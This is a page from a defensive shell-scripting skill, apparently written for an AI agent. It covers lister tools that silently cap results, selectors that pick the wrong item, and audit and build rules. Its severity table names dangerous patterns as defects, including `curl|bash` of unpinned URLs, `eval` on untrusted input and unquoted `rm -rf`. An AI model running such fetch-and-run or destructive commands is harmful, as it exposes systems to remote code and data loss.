# 09 — Listing and selection: the tool answered a different question Scope: the commands that *enumerate* rather than search — a lister, a selector, a "which one is latest". `rules/06` §2 is a searcher that traverses less than you think; these are tools that return less than you think, or all of a population one step to the left of the one you asked about. Both exit `0` with an empty stderr, which is why they reach a report as measurements. Split out of `rules/06` (· v1.43.1) when that file reached its 500-line cap, **keeping their section numbers** so existing citations resolve — the same move `rules/08` made before it. ## 5. The listing tool answered your question about *one page* `rules/06` §2 is a searcher that traverses less than you think. This is a lister that returns than you think — and it is worse, because the shortfall is **policy, not a bug**: the tool did exactly what it was asked, exited `0`, and wrote nothing to stderr. Measured 2026-09-10 against a repository with 330 merged pull requests: ```text gh pr list --state merged --json number | wc -l → 30 ← no flag: a DEFAULT cap gh pr list --state merged --limit 20 ... → 20 ← the cap you typed gh pr list --state merged --limit 1000 ... → 330 ← the population exit status 0, stderr empty, in all three ``` The no-flag answer is off by an order of magnitude. Nothing in the output distinguishes "there are 30" from "here are the first 30 of 330", and `wc -l` turns either into a number that looks like a measurement. The same default sits under `gh issue list`, `gh run list`, `aws ... --max-items`, `kubectl get --chunk-size`, `docker ps -n`, and every REST `GET` that pages at 30 or 100 — **a client library that iterates pages for you is the exception, not the rule, and `curl` never does.** Two distinct ways to get this wrong, and the second is the one that repeats: - **The cap you never set.** You reach for a lister to *look* at recent items, the default page is the right size for looking, and later the same command gets used to *count*. - **The cap you set yourself, for a different question.** `--limit 20` was correct when the question was "show me the recent ones". It silently became the answer when the question changed to "how many are there" — the flag is still in the scrollback, and the number it produced looks like a finding. Read the flags in your own command before quoting its output as a total. **A count and a sample need different commands.** When the number is the deliverable, ask the API for the number rather than for the rows, or make the tool prove it reached the end: ```bash # GOOD — the server counts; no page size can shorten a total gh api -X GET search/issues --raw-field q='repo:OWNER/REPO is:pr is:merged' -q .total_count # GOOD — page until short, and say so; --paginate exists precisely for this. # NOTE the predicate: `state=closed` is merged AND closed-unmerged. Filter, don't assume. gh api --paginate '/repos/OWNER/REPO/pulls?state=closed&per_page=100' \ -q '.[] | select(.merged_at != null) | .number' | wc -l # CONTROL — a cap you can see: if the count equals the limit exactly, assume truncation n=$(gh pr list --state merged --limit 100 --json number -q '.[].number' | wc -l) [ "$n" -eq 100 ] && echo "AT THE CAP — this is a page, not a total" >&2 ``` **Then check the two methods against each other — and read the disagreement.** Writing this section, the server count said **330** and the paginated read said **339**. The pagination was right; the *predicate* was wrong — `state=closed` includes the 9 PRs that were closed without merging, so the fixed command had quietly started answering a different question than the one it replaced. A second method exists to have a **different failure mode** (`sota-code-security` rules/11 §7), and the whole return on that is the moment the two numbers differ. Had they agreed, nothing would have been learned; had I run only the fixed one, `339` would have shipped as the merged total. Reconcile the gap to a named cause (`330 + 9 unmerged = 339`) before reporting either number — an unexplained delta between two methods is a finding, not a rounding difference. That last line generalises past `gh`: **a result whose size equals a round number you or the tool chose is a page until proven otherwise.** 30, 50, 100, 1000. It costs one comparison and it is the only signal the tool gives you, because it does not give one. The reporting rule follows `rules/06` §2's: **say which bound produced the number.** "330 merged PRs (`--limit 1000`, no truncation — the run returned fewer rows than the cap)" is a measurement. "330 PRs" is a claim whose evidence has been thrown away, and "30" was too. ## 5a. The selector picked a different member than the question named §5 returned **less** of the right population. This returns **all** of a neighbouring one — harder to see: nothing truncated, nothing silent, no rule broken. The selector was reasonable and answered a question one step to the left of the one asked. Three in one session: | the question | the selector typed | what it actually returns | |---|---|---| | "the kernel this release ships" | `sort -V \| tail -1` over the repo | the newest available — here a **backports** kernel, 6.12 for a 6.1 release | | "how much disk will this free" | `du -sh target` / the tool's own summary | apparent size / logical bytes deleted — **not** blocks returned to the filesystem | | "how much is reclaimable" | `podman system df` | images not backing a *running* container, with shared layers double-counted down the ancestry chain | `sort -V | tail -1` is the obvious way to get "the latest" and it is simply not "the default". Each of the three is the correct answer to a question nobody asked. - **Name the population member before writing the selector.** *Newest, largest, first, default, reclaimable, installed* are six members and at most one is your question. - **The tell is a value that cannot belong to the thing you asked about.** The Debian probe returned a `CONFIG_LSM` string containing `ipe` — IPE merged in **Linux 6.12** (verified: `security/ipe/ipe.c` present at tag `v6.12`, absent at `v6.11`), so it cannot appear in a 6.1 config. The row was refuted by its own output before it was written. Read one full record from any selection before building an argument on the aggregate. - **Three numbers that disagree are three questions, not a discrepancy to average.** None of `du`, the tool's report and `df` is wrong; ask which the decision needs. General form: `sota-observability` rules/05 §7a. ## Audit checklist - [ ] **Does the selector name the population member the question does?** (§5a) — *newest* is not *default* (`sort -V | tail -1` returns a backports kernel), *apparent size* is not *blocks freed*, *not backing a running container* is not *reclaimable*. Nothing is truncated and the exit status is 0, so the only tell is a value that cannot belong to the subject; read one full record before trusting the aggregate. - [ ] **Counts taken from a listing tool** (§5): does the command carry a `--limit`/ `per_page`/`--max-items`, or rely on the tool's **default** page (30 for `gh`, 100 for most REST)? A total must come from a server-side count (`total_count`) or a paginated read (`gh api --paginate`), never from the first page. Treat a result whose size equals the cap exactly as truncated, and quote the bound alongside the number. Where a second method was run, is the delta between the two reconciled to a named cause — or was the un-truncated command also given a **different predicate** (`state=closed` vs merged)?
-
-
SKILL.md 12.1 KB
--- name: sota-shell-scripting description: >- State-of-the-art shell scripting (bash and PowerShell, defensive) for writing and auditing shell scripts, CI scripts, init/deploy scripts, container entrypoints, and Makefile recipes — and equally for the ad-hoc commands you run yourself: a grep/find/rg sweep whose result you are about to report, a one-liner pasted from a checklist, a pipeline whose exit status or empty output you are about to believe. Use when creating, modifying, reviewing or hardening shell code, AND before trusting any conclusion a shell command produced — especially an ABSENCE ("no matches", "0 results"), which a quoting bug produces identically. Trigger keywords: bash, shell script, sh, zsh, shellcheck, shfmt, CI script, Makefile shell, entrypoint script, set -euo pipefail, dotfiles, install script, cron job, wrapper script, one-liner, command line, grep sweep, search the codebase, verify a claim, no matches found, empty output, exit status, word splitting, glob, PowerShell, pwsh, .ps1, Windows CI, ErrorActionPreference. --- # SOTA Shell Scripting Purpose: produce shell scripts that survive contact with reality — unusual filenames, missing commands, partial failures, hostile input, signals, and concurrent invocation — and audit existing scripts for the defect classes that cause most production shell incidents: unquoted expansions, silent error swallowing, injection, secret leakage, and temp-file races. Bash-focused (bash 5.x current; macOS ships bash 3.2 and defaults to zsh — see portability rules). POSIX `sh` only when the target demands it (busybox/dash containers, init systems). ## First decision: should this be shell at all? **Do NOT use shell when any of these hold.** Recommend Python/Go (or the project's primary language) instead, and say so explicitly in BUILD and AUDIT output: - Script exceeds ~100 lines of actual logic (not counting boilerplate/usage text). - Needs real data structures (nested maps, JSON manipulation beyond a `jq` one-liner, sets). - Needs granular error handling (retry *this* step, distinguish error kinds, partial rollback). - Does arithmetic beyond integers, date math, or float comparison. - Parses structured formats (JSON/YAML/XML) with string surgery instead of `jq`/`yq`. - Needs portable concurrency beyond "run N jobs and `wait`". - Is security-critical input handling (auth, parsing untrusted network data). Shell is the right tool for: gluing processes together, CI steps, container entrypoints, small install/deploy wrappers, environment setup — anything that is mostly *invoking other programs* rather than computing. ## BUILD mode When writing or modifying shell scripts: 1. **Pick the dialect deliberately.** `#!/usr/bin/env bash` unless the target is a minimal container/init context that only guarantees POSIX `sh`. Never `#!/bin/sh` with bashisms. 2. **Start every bash script from the safety preamble** (rules/01): `set -euo pipefail`, trap-based cleanup, `IFS` discipline — and know where `set -e` does NOT fire. 3. **Quote every expansion.** `"$var"`, `"$@"`, `"$(cmd)"`. Build commands with arrays, never with string concatenation. 4. **Errors are loud and routed to stderr** with script name + context; exit codes are meaningful and documented in `--help`. 5. **Make it idempotent and interrupt-safe**: `mktemp` + `trap` cleanup, atomic writes via `mv`, check-before-create, `flock` if concurrent runs are possible. 6. **Run `shellcheck` (treat all findings as blockers, suppress only with a justifying comment) and `shfmt -d` before declaring done.** If they are unavailable locally, state that and flag CI must run them. 7. Provide `--help` always; `--version` for distributed tools; `set -x` behind a `DEBUG`/`TRACE` env guard, never unconditionally (secret leakage). ## AUDIT mode When reviewing existing shell scripts, hunt the defect classes in rules/ files bottom-up (each rules file ends with an audit checklist of grep patterns and ShellCheck codes). Run `shellcheck -S style` on every script if available; correlate findings with context — ShellCheck flags symptoms, you judge exploitability and blast radius. Severity conventions: | Severity | Meaning | Examples | |---|---|---| | CRITICAL | Exploitable or data-destroying now | `eval` on untrusted input; unquoted var in `rm -rf`; secrets in argv/`set -x`; curl\|bash of unpinned URL in prod | | HIGH | Will corrupt/fail on realistic input or failure | unquoted expansions in destructive paths; missing `set -e`/error checks around critical steps; predictable temp files; non-atomic config writes; missing `exec` in entrypoint (signals lost) | | MEDIUM | Latent bug or fragility | parsing `ls`; `which` instead of `command -v`; missing `pipefail`; no `--` separators; no timeouts on network calls; `echo` for variable data | | LOW | Style/maintainability with safety implications | missing `local`; `[ ]` where `[[ ]]` intended; missing `readonly`; inconsistent error messages | Finding format: ``` [SEVERITY] file:line — short title (SCxxxx if applicable) Evidence: the offending line(s), verbatim Impact: what input/condition triggers it and what breaks Fix: concrete replacement code Effort: trivial | small | medium | large ``` ## Rules index | File | Covers | |---|---| | [rules/01-safety-baseline.md](rules/01-safety-baseline.md) | Shebang discipline, `set -euo pipefail` and its real limitations, quoting & word-splitting bug catalog, **zsh-vs-bash deviations that bite pasted commands (joining, `pipestatus`, and `NOMATCH` — an unquoted glob in a flag value aborts the command and fakes a clean sweep)** | | [rules/07-powershell.md](rules/07-powershell.md) | **PowerShell has no `set -euo pipefail`, and the line everyone omits is the one that matters: `$PSNativeCommandUseErrorActionPreference` defaults to `$false`, so `$ErrorActionPreference = 'Stop'` silently tolerates a failed `git`/`docker`/`terraform` (§1)** · The same failure classes as bash with different mechanisms: three disagreeing status variables and a `$?` that does not climb out of a function, `pwsh -Command` letting the **last statement** decide a CI step's verdict, GitHub Actions' built-in shell being safe while a custom `shell:` string silently drops its fail-fast and exit propagation, `Invoke-Expression` as `eval`, execution policy as the control that is **not** a security boundary, and PSScriptAnalyzer where ShellCheck cannot reach | | [rules/06-ad-hoc-commands.md](rules/06-ad-hoc-commands.md) | **`rg -r` is `--replace`, not recursive — the `grep -r` symlink trap inverted, fabricating false CONTENT instead of a false absence (§2a)** · The commands nobody commits — a sweep, a probe, a one-liner from a checklist, a quick container copy: the zsh deviations that bite pasted commands (joining, `pipestatus`, `NOMATCH` faking a clean sweep), **what your searcher silently excludes** (`-r` vs symlinked dirs, ripgrep's gitignore defaults, a `grep` that is really a wrapper) and controlling a sweep in the same invocation, **a pattern beginning with `-` parsed as a flag** (clean zero, error on the stderr you suppressed, §2c), **`|| echo "missing X"` firing on *any* non-zero exit** so your broken sweep is reported as their defect (§2d), **a hardcoded label asserting the result the output above it contradicts** (§2e), and **a word-boundary escape that is a property of the machine rather than the tool** — `\b` silently matches nothing where `git grep` inherits a BSD regex (§2f) | | [rules/09-listing-and-selection.md](rules/09-listing-and-selection.md) | **A lister's default cap answers with exit 0 and an empty stderr, so a page reads as a population (§5)** · The tools that *enumerate* rather than search: `gh pr list` returning 30 of 330 with no flag and no warning, the `--limit` you set for a different question and then counted with, server-side counts and `--paginate` as the fix, reconciling two methods that disagree to a named cause — and **the selector that picked a neighbouring population** (§5a): *newest* is not *default*, apparent size is not blocks freed, and the only tell is a value that cannot belong to the thing you asked about | | [rules/08-ad-hoc-side-effects.md](rules/08-ad-hoc-side-effects.md) | **"I am only checking something" bounds nothing — a read-only *intent* is not a read-only *command*** · The sibling of rules/06: that file is a check returning the wrong answer, this one is a check with **side effects**. An ad-hoc command that fills a disk or corrupts the runtime it was inspecting (§3), and a backgrounded wait loop that exhausts the **process table** (§4) — which does not degrade, it hits a ceiling where every tool fails at once, *including cleanup*, since `ps`, `killall` and even `echo` in a fresh shell all need to fork | | [rules/05-constructs-and-cleanup.md](rules/05-constructs-and-cleanup.md) | **Sourcing a script to test one function relocates it — `BASH_SOURCE` points at the copy and the script `cd`s itself away, silently (§3a)** · The constructs a script is assembled from, once the expansion itself is right: arrays for command building (SC2089/2090), IFS scoping, `trap`-based cleanup and `mktemp` (predictable temp paths are a race, not a style point), `[[ ]]`/printf/`local`/`readonly`, and globbing pitfalls including never parsing `ls` | | [rules/02-robustness-correctness.md](rules/02-robustness-correctness.md) | Argument parsing (getopts/while-case, --help/--version), input validation, POSIX vs bash portability, stderr/exit-code discipline, PIPESTATUS, command -v, network timeouts & retries, flock & background jobs, idempotency & atomic writes, safe filename handling | | [rules/03-security.md](rules/03-security.md) | **Why `--severity=style` catches real defects, and a pointer to who owns local gate reproduction (§7)** · eval/injection, secrets discipline (argv/env/set -x), PATH hygiene — including **the non-adversarial mirror: a wrapper, shim, alias or function override that invokes a name its own namespace shadows**, which fills the process table with no bound at all while the function form merely segfaults — sudo discipline, curl\|bash both directions, temp-file races, umask, ShellCheck+shfmt in CI | | [rules/04-ci-and-operational.md](rules/04-ci-and-operational.md) | **Killing a backgrounded build by pid orphans the compiler, and the next run's contention reads as a defect in your change** · GitHub Actions shell pitfalls (`${{ }}` injection, multiline run, quoting in YAML), container entrypoints (exec, PID 1, privilege drop), Makefile shell gotchas, long-running script logging | ## Top 10 non-negotiables 1. `#!/usr/bin/env bash` + `set -euo pipefail` on every bash script — and explicit error handling where `-e` is known not to fire (conditions, `&&`/`||`, command substitution in assignments-with-modifiers, process substitution). 2. Quote **every** expansion: `"$var"`, `"$@"`, `"${arr[@]}"`, `"$(cmd)"`. SC2086 is a bug, not style. 3. Build argument lists with arrays; pass them as `"${args[@]}"`. Never accumulate a command in a string and `eval`/word-split it. 4. `trap cleanup EXIT` with an idempotent cleanup function; temp paths only via `mktemp`. 5. Never `eval`, `bash -c`, or `sh -c` with interpolated untrusted data; use `--` before positional file/user arguments to every command that supports it. 6. No secrets in argv, in environment dumps, or under `set -x`; `set +x` around sensitive sections; read secrets from files or fds. 7. Errors to stderr with context (`script: failed to X: $detail`); meaningful exit codes; never `exit 0` on failure paths. 8. Network calls get `--fail`, `--max-time`/timeouts, and bounded retries — never bare `curl url | ...`. 9. Handle arbitrary filenames: `find -print0 | xargs -0` / `-exec ... +`, `while IFS= read -r`, never iterate `$(ls)` or unquoted globs from variables. 10. ShellCheck (clean, or annotated suppressions) + shfmt enforced in CI; a shell script without CI linting is unreviewed code. ## Cross-references - CI pipeline hardening, `${{ }}` injection, action pinning → `sota-devsecops` - Secret storage/rotation → `sota-secrets-management` - Container image/runtime hardening → `sota-sandboxing`, `sota-cloud-infrastructure` - When the "don't use shell" rule fires → `sota-python` / `sota-golang`
Comments (0)
Sign in to join the conversation.
Reviews (0)
No reviews yet.
No comments yet.